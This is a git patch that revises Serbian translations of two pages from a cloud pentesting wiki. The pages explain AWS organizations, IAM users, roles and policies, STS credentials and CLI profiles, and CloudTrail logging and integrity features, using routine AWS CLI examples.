From 7ba011800239033068b24687023f0b52cfbf487a Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 10 Feb 2025 23:51:14 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA --- .../aws-basic-information/README.md | 86 ++++----- .../aws-cloudtrail-enum.md | 18 +- .../aws-cloudwatch-enum.md | 86 ++++----- .../az-cloud-shell-persistence.md | 8 - .../az-blob-storage-post-exploitation.md | 6 +- .../az-cosmosDB-post-exploitation.md | 83 ++------- .../az-file-share-post-exploitation.md | 8 +- .../az-logic-apps-post-exploitation.md | 69 ++------ .../az-mysql-post-exploitation.md | 63 ++----- .../az-postgresql-post-exploitation.md | 61 ++----- .../az-sql-post-exploitation.md | 22 +-- .../az-cosmosDB-privesc.md | 23 +-- .../az-functions-app-privesc.md | 83 ++++----- .../az-key-vault-privesc.md | 2 +- .../az-logic-apps-privesc.md | 22 +-- .../az-mysql-privesc.md | 31 +--- .../az-postgresql-privesc.md | 28 +-- .../az-servicebus-privesc.md | 6 +- .../az-privilege-escalation/az-sql-privesc.md | 14 +- .../az-storage-privesc.md | 34 ++-- .../azure-security/az-services/az-azuread.md | 167 ++++++++---------- .../az-services/az-cloud-shell.md | 18 +- .../azure-security/az-services/az-cosmosDB.md | 88 ++++----- .../az-services/az-file-shares.md | 32 ++-- .../az-services/az-function-apps.md | 71 ++++---- .../az-services/az-logic-apps.md | 58 +++--- .../azure-security/az-services/az-mysql.md | 50 ++---- .../az-services/az-postgresql.md | 53 +++--- .../az-services/az-queue-enum.md | 12 +- .../az-services/az-servicebus-enum.md | 28 ++- .../azure-security/az-services/vms/README.md | 56 +++--- .../az-services/vms/az-azure-network.md | 41 ++--- .../kubernetes-securitycontext-s.md | 35 ++-- 33 files changed, 584 insertions(+), 878 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index c9b96ebad..a0e5a470c 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,8 +1,8 @@ -# AWS - Osnovne Informacije +# AWS - Osnovne informacije {{#include ../../../banners/hacktricks-training.md}} -## Hijerarhija Organizacije +## Hijerarhija organizacije ![](<../../../images/image (151).png>) @@ -12,7 +12,7 @@ U AWS postoji **root račun**, koji je **glavni kontejner za sve račune** vaše To je veoma zanimljivo sa **bezbednosnog** stanovišta, jer **jedan račun neće moći da pristupi resursima drugog računa** (osim ako su mostovi posebno kreirani), tako da na ovaj način možete postaviti granice između implementacija. -Stoga, postoje **dva tipa računa u organizaciji** (govorimo o AWS računima, a ne o korisničkim računima): jedan jedini račun koji je označen kao račun za upravljanje, i jedan ili više članova računa. +Stoga, postoje **dva tipa računa u organizaciji** (govorimo o AWS računima, a ne o korisničkim računima): jedan račun koji je označen kao račun za upravljanje, i jedan ili više članova računa. - **Račun za upravljanje (root račun)** je račun koji koristite za kreiranje organizacije. Iz računa za upravljanje organizacijom, možete uraditi sledeće: @@ -33,7 +33,7 @@ aws organizations create-account --account-name testingaccount --email testingac ``` ### **Organizacione jedinice** -Nalozi se mogu grupisati u **organizacione jedinice (OU)**. Na ovaj način, možete kreirati **politike** za organizacionu jedinicu koje će biti **primenjene na sve naloge dece**. Imajte na umu da OU može imati druge OU kao decu. +Nalozi se mogu grupisati u **Organizacione jedinice (OU)**. Na ovaj način, možete kreirati **politike** za Organizacionu jedinicu koje će biti **primenjene na sve naloge dece**. Imajte na umu da OU može imati druge OU kao decu. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU @@ -63,7 +63,7 @@ biti obrisane ili modifikovane. -- Odbijanje rezervnih kopija od biti obrisane. +- Odbijanje brisanja rezervnih kopija. - Odbijanje kreiranja IAM korisnika i pristupnih ključeva Pronađite **JSON primere** u [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) @@ -79,7 +79,7 @@ Napomena da postoje 4 particije u AWS-u, ali samo 3 načina da ih pozovete: - AWS Standard: `aws` - AWS China: `aws-cn` -- AWS US public Internet (GovCloud): `aws-us-gov` +- AWS US javni Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` ## IAM - Upravljanje identitetom i pristupom @@ -94,7 +94,7 @@ IAM se može definisati po svojoj sposobnosti da upravlja, kontroliše i reguli ### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim identitetom za prijavu koji ima **potpun pristup svim** AWS uslugama i resursima u nalogu. Ovo je _**root user**_ AWS naloga i pristupa mu se prijavom sa **email adresom i lozinkom koje ste koristili za kreiranje naloga**. +Kada prvi put kreirate Amazon Web Services (AWS) nalog, počinjete sa jednim identitetom za prijavu koji ima **potpun pristup svim** AWS uslugama i resursima u nalogu. Ovo je _**root user**_ AWS naloga i pristupa mu se prijavljivanjem sa **email adresom i lozinkom koje ste koristili za kreiranje naloga**. Napomena da novi **admin user** ima **manje dozvole od root user-a**. @@ -102,7 +102,7 @@ Sa bezbednosnog stanovišta, preporučuje se kreiranje drugih korisnika i izbega ### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -IAM _korisnik_ je entitet koji kreirate u AWS-u da **predstavlja osobu ili aplikaciju** koja ga koristi za **interakciju sa AWS-om**. Korisnik u AWS-u se sastoji od imena i akreditiva (lozinka i do dva pristupna ključa). +IAM _korisnik_ je entitet koji kreirate u AWS-u da **predstavlja osobu ili aplikaciju** koja ga koristi za **interakciju sa AWS-om**. Korisnik u AWS-u se sastoji od imena i kredencijala (lozinka i do dva pristupna ključa). Kada kreirate IAM korisnika, dodeljujete mu **dozvole** tako što ga činite **članom korisničke grupe** koja ima odgovarajuće politike dozvola (preporučeno), ili **direktno povezivanjem politika** sa korisnikom. @@ -114,7 +114,7 @@ Korisnici mogu imati **MFA omogućeno za prijavu** putem konzole. API tokeni kor - **ID tajnog pristupnog ključa**: 40 nasumičnih velikih i malih karaktera: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Nije moguće povratiti izgubljene ID-ove tajnog pristupnog ključa). Kad god trebate da **promenite pristupni ključ**, ovo je proces koji treba da pratite:\ -&#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ +_Kreirajte novi pristupni ključ -> Primijenite novi ključ na sistem/aplikaciju -> označite originalni kao neaktivan -> Testirajte i verifikujte da novi pristupni ključ radi -> Obrišite stari pristupni ključ_ ### MFA - Višefaktorska autentifikacija @@ -125,10 +125,10 @@ Politike sa MFA uslovima mogu se povezati sa sledećim: - IAM korisnikom ili grupom - Resursom kao što je Amazon S3 bucket, Amazon SQS queue ili Amazon SNS topic -- Politika poverenja IAM uloge koju može preuzeti korisnik +- Politika poverenja IAM uloge koja može biti preuzeta od strane korisnika Ako želite da **pristupite putem CLI** resursu koji **proverava MFA**, morate pozvati **`GetSessionToken`**. To će vam dati token sa informacijama o MFA.\ -Napomena da **`AssumeRole` akreditivi ne sadrže ove informacije**. +Napomena da **`AssumeRole` kredencijali ne sadrže ove informacije**. ```bash aws sts get-session-token --serial-number --token-code ``` @@ -149,7 +149,7 @@ Evo nekih važnih karakteristika korisničkih grupa: ### [IAM uloge](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -IAM **uloga** je veoma **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a. +IAM **uloga** je vrlo **slična** **korisniku**, jer je to **identitet sa politikama dozvola koje određuju šta** može i ne može da radi u AWS-u. Međutim, uloga **nema nikakve akreditive** (lozinku ili pristupne ključeve) povezane sa njom. Umesto da bude jedinstveno povezana sa jednom osobom, uloga je namenjena da bude **preuzeta od strane bilo koga ko je treba (i ima dovoljno dozvola)**. **IAM korisnik može preuzeti ulogu da privremeno** preuzme različite dozvole za određeni zadatak. Uloga može biti **dodeljena** [**federisanom korisniku**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) koji se prijavljuje koristeći eksternog provajdera identiteta umesto IAM-a. IAM uloga se sastoji od **dvaju tipova politika**: **politika poverenja**, koja ne može biti prazna, definišući **ko može preuzeti** ulogu, i **politika dozvola**, koja ne može biti prazna, definišući **šta može pristupiti**. @@ -159,7 +159,7 @@ AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privre ### [Privremeni akreditivi u IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola od vašeg standardnog IAM korisnika. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** od strane ograničenih akreditiva. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni. +**Privremeni akreditivi se prvenstveno koriste sa IAM ulogama**, ali postoje i druge upotrebe. Možete zatražiti privremene akreditive koji imaju ograničeniji skup dozvola nego vaš standardni IAM korisnik. Ovo **sprečava** vas da **slučajno izvršavate zadatke koji nisu dozvoljeni** sa ograničenim akreditivima. Prednost privremenih akreditiva je ta što automatski ističu nakon određenog vremenskog perioda. Imate kontrolu nad trajanjem tokom kojeg su akreditivi validni. ### Politike @@ -168,10 +168,10 @@ AWS Security Token Service (STS) je veb servis koji olakšava **izdavanje privre Koriste se za dodeljivanje dozvola. Postoje 2 tipa: - AWS upravljane politike (prekonfigurisane od strane AWS-a) -- Politike koje upravlja korisnik: Konfigurišete ih vi. Možete kreirati politike zasnovane na AWS upravljanim politikama (modifikujući jednu od njih i kreirajući svoju), koristeći generator politika (GUI prikaz koji vam pomaže u dodeljivanju i odbijanju dozvola) ili pišući svoje. +- Politike upravljane od strane korisnika: Konfigurišete ih vi. Možete kreirati politike zasnovane na AWS upravljanim politikama (modifikujući jednu od njih i kreirajući svoju), koristeći generator politika (GUI prikaz koji vam pomaže u dodeljivanju i odbijanju dozvola) ili pišući svoje. Po **podrazumevanju, pristup** je **odbijen**, pristup će biti odobren ako je eksplicitna uloga navedena.\ -Ako **jedna "Odbij" postoji, ona će nadjačati "Dozvoli"**, osim za zahteve koji koriste korenske bezbednosne akreditive AWS naloga (koji su podrazumevano dozvoljeni). +Ako **jedna "Deny" postoji, ona će nadjačati "Allow"**, osim za zahteve koji koriste korenske bezbednosne akreditive AWS naloga (koji su podrazumevano dozvoljeni). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -194,33 +194,33 @@ Ako **jedna "Odbij" postoji, ona će nadjačati "Dozvoli"**, osim za zahteve koj ] } ``` -[Globalna polja koja se mogu koristiti za uslove u bilo kojoj usluzi su dokumentovana ovde](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ -[Specifična polja koja se mogu koristiti za uslove po usluzi su dokumentovana ovde](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). +[global fields that can be used for conditions in any service are documented here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\ +[specific fields that can be used for conditions per service are documented here](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html). -#### Inline politike +#### Inline Policies -Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika jer ih može koristiti bilo ko drugi.\ -Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onom za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta. +Ova vrsta politika je **direktno dodeljena** korisniku, grupi ili ulozi. Tada se ne pojavljuju na listi politika kao što to može biti slučaj sa drugim politikama.\ +Inline politike su korisne ako želite da **održite strogu jedan-na-jedan vezu između politike i identiteta** na koji se primenjuju. Na primer, želite da budete sigurni da dozvole u politici nisu nenamerno dodeljene identitetu osim onog za koji su namenjene. Kada koristite inline politiku, dozvole u politici ne mogu biti nenamerno povezane sa pogrešnim identitetom. Pored toga, kada koristite AWS Management Console za brisanje tog identiteta, politike ugrađene u identitet se takođe brišu. To je zato što su deo glavne entiteta. -#### Politike resursnog kante +#### Resource Bucket Policies Ovo su **politike** koje se mogu definisati u **resursima**. **Nisu svi resursi AWS-a podržavaju njih**. -Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im omogućava pristup, tada su dozvoljeni. +Ako glavni entitet nema eksplicitnu zabranu na njih, a politika resursa im daje pristup, tada su im dozvoljeni. -### IAM granice +### IAM Boundaries IAM granice se mogu koristiti za **ograničavanje dozvola kojima korisnik ili uloga treba da imaju pristup**. Na ovaj način, čak i ako se korisniku dodeli drugačiji skup dozvola putem **druge politike**, operacija će **neuspeti** ako pokuša da ih koristi. Granica je samo politika koja je povezana sa korisnikom i **ukazuje na maksimalni nivo dozvola koje korisnik ili uloga mogu imati**. Dakle, **čak i ako korisnik ima Administrator pristup**, ako granica ukazuje da može samo da čita S· kante, to je maksimum što može da uradi. -**Ovo**, **SCP-ovi** i **pridržavanje principa najmanjih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno. +**Ovo**, **SCPs** i **pridržavanje principa najmanjih privilegija** su načini da se kontroliše da korisnici nemaju više dozvola nego što im je potrebno. -### Politike sesije +### Session Policies -Politika sesije je **politika postavljena kada se neka uloga preuzima** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima). +Politika sesije je **politika postavljena kada se neka uloga preuzme** na neki način. Ovo će biti kao **IAM granica za tu sesiju**: To znači da politika sesije ne dodeljuje dozvole, već **ograničava ih na one koje su navedene u politici** (maksimalne dozvole su one koje uloga ima). -Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, mogao bi da ograniči dozvolu samo na one koje su navedene u politici sesije u slučaju da sesija bude kompromitovana. +Ovo je korisno za **bezbednosne mere**: Kada administrator preuzima veoma privilegovanu ulogu, mogao bi da ograniči dozvole samo na one koje su navedene u politici sesije u slučaju da sesija bude kompromitovana. ```bash aws sts assume-role \ --role-arn \ @@ -237,7 +237,7 @@ Stoga, ako se u nekom trenutku suočite sa greškom "... jer nijedna politika se Identitetna federacija **omogućava korisnicima iz identitetskih provajdera koji su eksterni** za AWS da sigurno pristupaju AWS resursima bez potrebe da dostavljaju AWS korisničke akreditive iz važećeg IAM korisničkog naloga.\ Primer identitetskog provajdera može biti vaša vlastita korporativna **Microsoft Active Directory** (putem **SAML**) ili **OpenID** usluga (kao što je **Google**). Federisani pristup će tada omogućiti korisnicima unutar njega da pristupaju AWS-u. -Da biste konfigurisali ovo poverenje, generiše se **IAM identitetski provajder (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujući) identitetskom provajderu**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga. +Da bi se konfigurisalo ovo poverenje, generiše se **IAM identitetski provajder (SAML ili OAuth)** koji će **verovati** **drugoj platformi**. Zatim, najmanje jedna **IAM uloga se dodeljuje (verujuća) identitetskom provajderu**. Ako korisnik iz poverene platforme pristupi AWS-u, pristupaće kao pomenuta uloga. Međutim, obično ćete želeti da dodelite **različitu ulogu u zavisnosti od grupe korisnika** na trećoj strani. Tada, nekoliko **IAM uloga može verovati** trećem identitetskom provajderu, a treća platforma će biti ta koja omogućava korisnicima da preuzmu jednu ili drugu ulogu. @@ -259,18 +259,18 @@ Da bi se prijavili korisnici, postoje 3 izvora identiteta koji se mogu koristiti U najjednostavnijem slučaju direktorijuma Identitetnog Centra, **Identitetni Centar će imati listu korisnika i grupa** i moći će da **dodeli politike** njima za **bilo koji od naloga** organizacije. -Da biste dali pristup korisniku/grupi Identitetnog Centra nalogu, **SAML identitetski provajder koji veruje Identitetnom Centru će biti kreiran**, a **uloga koja veruje identitetskom provajderu sa navedenim politikama će biti kreirana** u odredišnom nalogu. +Da bi se omogućio pristup korisniku/grupi Identitetnog Centra do naloga, **SAML identitetski provajder koji veruje Identitetnom Centru će biti kreiran**, a **uloga koja veruje identitetskom provajderu sa navedenim politikama će biti kreirana** u odredišnom nalogu. #### AwsSSOInlinePolicy -Moguće je **dati dozvole putem inline politika rolama kreiranim putem IAM Identitetnog Centra**. Uloge kreirane u nalozima koje dobijaju **inline politike u AWS Identitetnom Centru** će imati ove dozvole u inline politici pod nazivom **`AwsSSOInlinePolicy`**. +Moguće je **dati dozvole putem inline politika rolama kreiranim putem IAM Identitetnog Centra**. Uloge kreirane u nalozima koje dobijaju **inline politike u AWS Identitetnom Centru** će imati te dozvole u inline politici pod nazivom **`AwsSSOInlinePolicy`**. Stoga, čak i ako vidite 2 uloge sa inline politikom pod nazivom **`AwsSSOInlinePolicy`**, to **ne znači da imaju iste dozvole**. ### Cross Account Trusts and Roles -**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim **dozvoliti drugom korisniku** (pouzdanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između AWS naloga koje posedujete nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\ -Preporučuje se da **precizirate korisnika koji je pouzdan i ne stavljate neku generičku stvar** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje. +**Korisnik** (verujući) može kreirati Cross Account ulogu sa nekim politikama i zatim **dozvoliti drugom korisniku** (pouzdanom) da **pristupi njegovom nalogu** ali samo **imajući pristup naveden u novim politikama uloge**. Da biste to kreirali, jednostavno kreirajte novu ulogu i izaberite Cross Account ulogu. Uloge za pristup između naloga nude dve opcije. Pružanje pristupa između AWS naloga koje posedujete, i pružanje pristupa između naloga koji posedujete i trećeg AWS naloga.\ +Preporučuje se da **precizirate korisnika koji je pouzdan i ne stavljate nešto generičko** jer u suprotnom, drugi autentifikovani korisnici poput federisanih korisnika će takođe moći da zloupotrebe ovo poverenje. ### AWS Simple AD @@ -282,16 +282,16 @@ Nije podržano: - AD Recycle Bin - Grupa upravljanih servisnih naloga - Ekstenzije šeme -- Nema direktnog pristupa OS-u ili instancama +- Nema direktan pristup OS-u ili instancama #### Web Federacija ili OpenID Autentifikacija Aplikacija koristi AssumeRoleWithWebIdentity za kreiranje privremenih akreditiva. Međutim, ovo ne omogućava pristup AWS konzoli, samo pristup resursima unutar AWS-a. -### Druge IAM opcije +### Ostale IAM opcije -- Možete **postaviti podešavanje politike lozinke** sa opcijama kao što su minimalna dužina i zahtevi za lozinkom. -- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i svaka **četiri sata**. +- Možete **postaviti podešavanje politike lozinke** kao što su minimalna dužina i zahtevi za lozinkom. +- Možete **preuzeti "Izveštaj o akreditivima"** sa informacijama o trenutnim akreditivima (kao što su vreme kreiranja korisnika, da li je lozinka omogućena...). Možete generisati izveštaj o akreditivima koliko često želite, čak i jednom svaka **četiri sata**. AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrole pristupa** širom celog AWS-a. Sa IAM-om, možete precizirati **ko može pristupiti kojim uslugama i resursima**, i pod kojim uslovima. Sa IAM politikama, upravljate dozvolama za vašu radnu snagu i sisteme kako biste **osigurali dozvole sa najmanjim privilegijama**. @@ -299,19 +299,21 @@ AWS upravljanje identitetom i pristupom (IAM) pruža **fino podešavanje kontrol Na [**ovoj stranici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) možete pronaći **IAM ID prefikse** ključeva u zavisnosti od njihove prirode: -| ABIA | [AWS STS servisni nosilac tokena](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | +| Identifikator Kôd | Opis | | ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| ACCA | Kontekst-specifični akreditiv | +| ABIA | [AWS STS servisni nosilac tokena](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) | + +| ACCA | Kontekstualni akreditiv | | AGPA | Korisnička grupa | | AIDA | IAM korisnik | | AIPA | Amazon EC2 profil instance | -| AKIA | Pristupni ključ | +| AKIA | Ključ pristupa | | ANPA | Upravljana politika | | ANVA | Verzija u upravljanoj politici | | APKA | Javni ključ | | AROA | Uloga | | ASCA | Sertifikat | -| ASIA | [Privremeni (AWS STS) pristupni ključ ID-ovi](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) koriste ovaj prefiks, ali su jedinstveni samo u kombinaciji sa tajnim pristupnim ključem i tokenom sesije. | +| ASIA | [Privremeni (AWS STS) identifikatori ključeva za pristup](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) koriste ovaj prefiks, ali su jedinstveni samo u kombinaciji sa tajnim pristupnim ključem i tokenom sesije. | ### Preporučene dozvole za reviziju naloga @@ -330,7 +332,7 @@ Sledeće privilegije daju različit pristup metapodacima: ### CLI Autentifikacija -Da bi regularni korisnik autentifikovao AWS putem CLI, potrebno je imati **lokalne akreditive**. Po defaultu, možete ih konfigurisati **ručno** u `~/.aws/credentials` ili **pokretanjem** `aws configure`.\ +Da bi regularni korisnik autentifikovao na AWS putem CLI, potrebno je imati **lokalne akreditive**. Po defaultu, možete ih konfigurisati **ručno** u `~/.aws/credentials` ili **pokretanjem** `aws configure`.\ U toj datoteci možete imati više od jednog profila, ako **nije specificiran profil** koristeći **aws cli**, koristiće se onaj pod nazivom **`[default]`** u toj datoteci.\ Primer datoteke akreditiva sa više od 1 profila: ``` @@ -345,7 +347,7 @@ region = eu-west-2 ``` Ako treba da pristupite **različitim AWS nalozima** i vašem profilu je dato pravo da **pretpostavi ulogu unutar tih naloga**, ne morate ručno pozivati STS svaki put (`aws sts assume-role --role-arn --role-session-name sessname`) i konfigurisati akreditive. -Možete koristiti `~/.aws/config` datoteku da **naznačite koje uloge da pretpostavite** i zatim koristiti `--profile` parametar kao i obično (pretpostavljanje uloge će se izvršiti na transparentan način za korisnika).\ +Možete koristiti `~/.aws/config` datoteku da[ **naznačite koje uloge da pretpostavite**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html), a zatim koristiti parametar `--profile` kao i obično (pretpostavljanje uloge će se izvršiti na transparentan način za korisnika).\ Primer konfiguracione datoteke: ``` [profile acc2] diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 63d76e3dd..b6734a997 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md @@ -4,7 +4,7 @@ ## **CloudTrail** -AWS CloudTrail **beleži i prati aktivnosti unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža audit trail promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih postura i osiguranje usklađenosti sa propisima. +AWS CloudTrail **beleži i prati aktivnost unutar vašeg AWS okruženja**. Zapisuje detaljne **logove događaja**, uključujući ko je šta uradio, kada i odakle, za sve interakcije sa AWS resursima. Ovo pruža audit trag promena i akcija, pomažući u analizi bezbednosti, reviziji usklađenosti i praćenju promena resursa. CloudTrail je ključan za razumevanje ponašanja korisnika i resursa, poboljšanje bezbednosnih postura i osiguranje usklađenosti sa propisima. Svaki zabeleženi događaj sadrži: @@ -20,7 +20,7 @@ Svaki zabeleženi događaj sadrži: - Elementi odgovora: `responseElements` Događaji se upisuju u novu log datoteku **otprilike svake 5 minuta u JSON datoteci**, drže ih CloudTrail i na kraju, log datoteke se **isporučuju u S3 otprilike 15 minuta nakon**.\ -CloudTrail logovi se mogu **agregirati između naloga i između regiona.**\ +CloudTrail logovi se mogu **agregirati preko naloga i regiona.**\ CloudTrail omogućava korišćenje **integriteta log datoteka kako bi se moglo verifikovati da su vaše log datoteke ostale nepromenjene** od trenutka kada ih je CloudTrail isporučio. Kreira SHA-256 hash logova unutar digest datoteke. SHA-256 hash novih logova se kreira svake sat vremena.\ Kada kreirate Trail, selektori događaja će vam omogućiti da označite trail za logovanje: upravljanje, podaci ili uvidi. @@ -70,14 +70,14 @@ aws cloudtrail validate-logs --trail-arn --start-time [- ### Logs to CloudWatch **CloudTrail može automatski slati logove u CloudWatch kako biste mogli postaviti upozorenja koja vas obaveštavaju kada se izvrše sumnjive aktivnosti.**\ -Imajte na umu da je potrebno kreirati **ulogu** koja omogućava CloudTrail-u da šalje logove u CloudWatch. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da: +Napomena: da bi CloudTrail mogao slati logove u CloudWatch, potrebno je kreirati **ulogu** koja omogućava tu akciju. Ako je moguće, preporučuje se korišćenje AWS podrazumevane uloge za izvršavanje ovih akcija. Ova uloga će omogućiti CloudTrail-u da: - CreateLogStream: Ovo omogućava kreiranje CloudWatch Logs log stream-ova - PutLogEvents: Dostavlja CloudTrail logove u CloudWatch Logs log stream ### Event History -CloudTrail Event History vam omogućava da pregledate logove koji su zabeleženi u tabeli: +CloudTrail Event History vam omogućava da pregledate u tabeli logove koji su zabeleženi: ![](<../../../../images/image (89).png>) @@ -88,9 +88,9 @@ CloudTrail Event History vam omogućava da pregledate logove koji su zabeleženi Uvidi se čuvaju u istom bucket-u kao CloudTrail logovi u: `BucketName/AWSLogs/AccountID/CloudTrail-Insight` ### Security - -| CloudTrail Log File Integrity |
  • Proverite da li su logovi menjani (modifikovani ili obrisani)
  • Koristi digest fajlove (kreira hash za svaki fajl)

    • SHA-256 hashing
    • SHA-256 sa RSA za digitalno potpisivanje
    • privatni ključ u vlasništvu Amazona
  • Traje 1 sat da se kreira digest fajl (radi se svake pune sate)
| +| Control Name | Implementation Details | | ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| CloudTrail Log File Integrity |
  • Proverite da li su logovi menjani (modifikovani ili obrisani)
  • Koristi digest fajlove (kreira hash za svaki fajl)

    • SHA-256 hashing
    • SHA-256 sa RSA za digitalno potpisivanje
    • privatni ključ u vlasništvu Amazona
  • Traje 1 sat da se kreira digest fajl (radi se svake pune sate)
| | Stop unauthorized access |
  • Koristite IAM politike i S3 bucket politike

    • bezbednosni tim —> admin pristup
    • auditori —> samo za čitanje
  • Koristite SSE-S3/SSE-KMS za enkripciju logova
| | Prevent log files from being deleted |
  • Ograničite pristup brisanju sa IAM i bucket politikama
  • Konfigurišite S3 MFA brisanje
  • Proverite sa Log File Validation
| @@ -99,7 +99,7 @@ Uvidi se čuvaju u istom bucket-u kao CloudTrail logovi u: `BucketName/AWSLogs/A AWS Access Advisor se oslanja na poslednjih 400 dana AWS **CloudTrail logova kako bi prikupio svoje uvide**. CloudTrail beleži istoriju AWS API poziva i povezanih događaja izvršenih u AWS nalogu. Access Advisor koristi ove podatke da **prikaže kada su usluge poslednji put korišćene**. Analizom CloudTrail logova, Access Advisor može odrediti koje AWS usluge je IAM korisnik ili uloga koristila i kada je taj pristup izvršen. Ovo pomaže AWS administratorima da donesu informisane odluke o **usavršavanju dozvola**, jer mogu identifikovati usluge koje nisu korišćene duži vremenski period i potencijalno smanjiti preširoke dozvole na osnovu stvarnih obrazaca korišćenja. > [!TIP] -> Stoga, Access Advisor obaveštava o **nepotrebnim dozvolama koje se daju korisnicima** kako bi ih administrator mogao ukloniti +> Stoga, Access Advisor obaveštava o **nepotrebnim dozvolama koje se daju korisnicima** kako bi administrator mogao da ih ukloni
